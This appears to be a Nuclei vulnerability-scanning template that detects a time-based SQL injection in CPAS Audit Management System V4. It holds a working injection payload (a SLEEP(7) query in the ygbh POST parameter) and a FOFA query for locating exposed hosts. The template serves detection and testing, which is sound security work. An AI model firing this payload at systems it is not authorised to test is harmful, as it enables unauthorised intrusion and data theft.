id: cpas-managment-sqli

info:
  name: CPAS Management System - SQL Injection
  author: s4e-io
  severity: high
  description: |
    The CPAS Audit Management System V4 has been identified with an SQL injection vulnerability in the getCurserIfAllowLogin endpoint. This flaw allows unauthenticated remote attackers to exploit the system by injecting malicious SQL queries. Through this vulnerability, attackers can retrieve sensitive data from the database and, under high-privilege circumstances, upload malicious payloads such as web shells to the server. This could potentially lead to a full compromise of the server's system. The vulnerability is triggered via a crafted HTTP POST request containing a malicious ygbh parameter, making it a critical issue that requires immediate remediation to protect the integrity of the system.
  reference:
    - https://github.com/wy876/POC/blob/main/%E5%8C%97%E4%BA%AC%E5%8F%8B%E6%95%B0%E8%81%9A%E7%A7%91%E6%8A%80/CPAS%E5%AE%A1%E8%AE%A1%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FgetCurserIfAllowLogin%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="-58141038"
  tags: cpas,cms,sqli,time-based-sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /cpasm4/login HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/cpasm4/mobileQRCodeController/")'
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /cpasm4/cpasList/getCurserIfAllowLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        ygbh=q' AND (SELECT 1635 FROM (SELECT(SLEEP(7)))mlQT) AND 'qoYJ'='qoYJ

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450221009d238698eb3912378244298a2a7f3918605500b5291b16d6a0138ae374d9f5140220123320b76f8145c069dbc2983261cdf5b5b0e2e4bd756984e7fd2470099e5f39:922c64590222798bb761d5b6d8e72950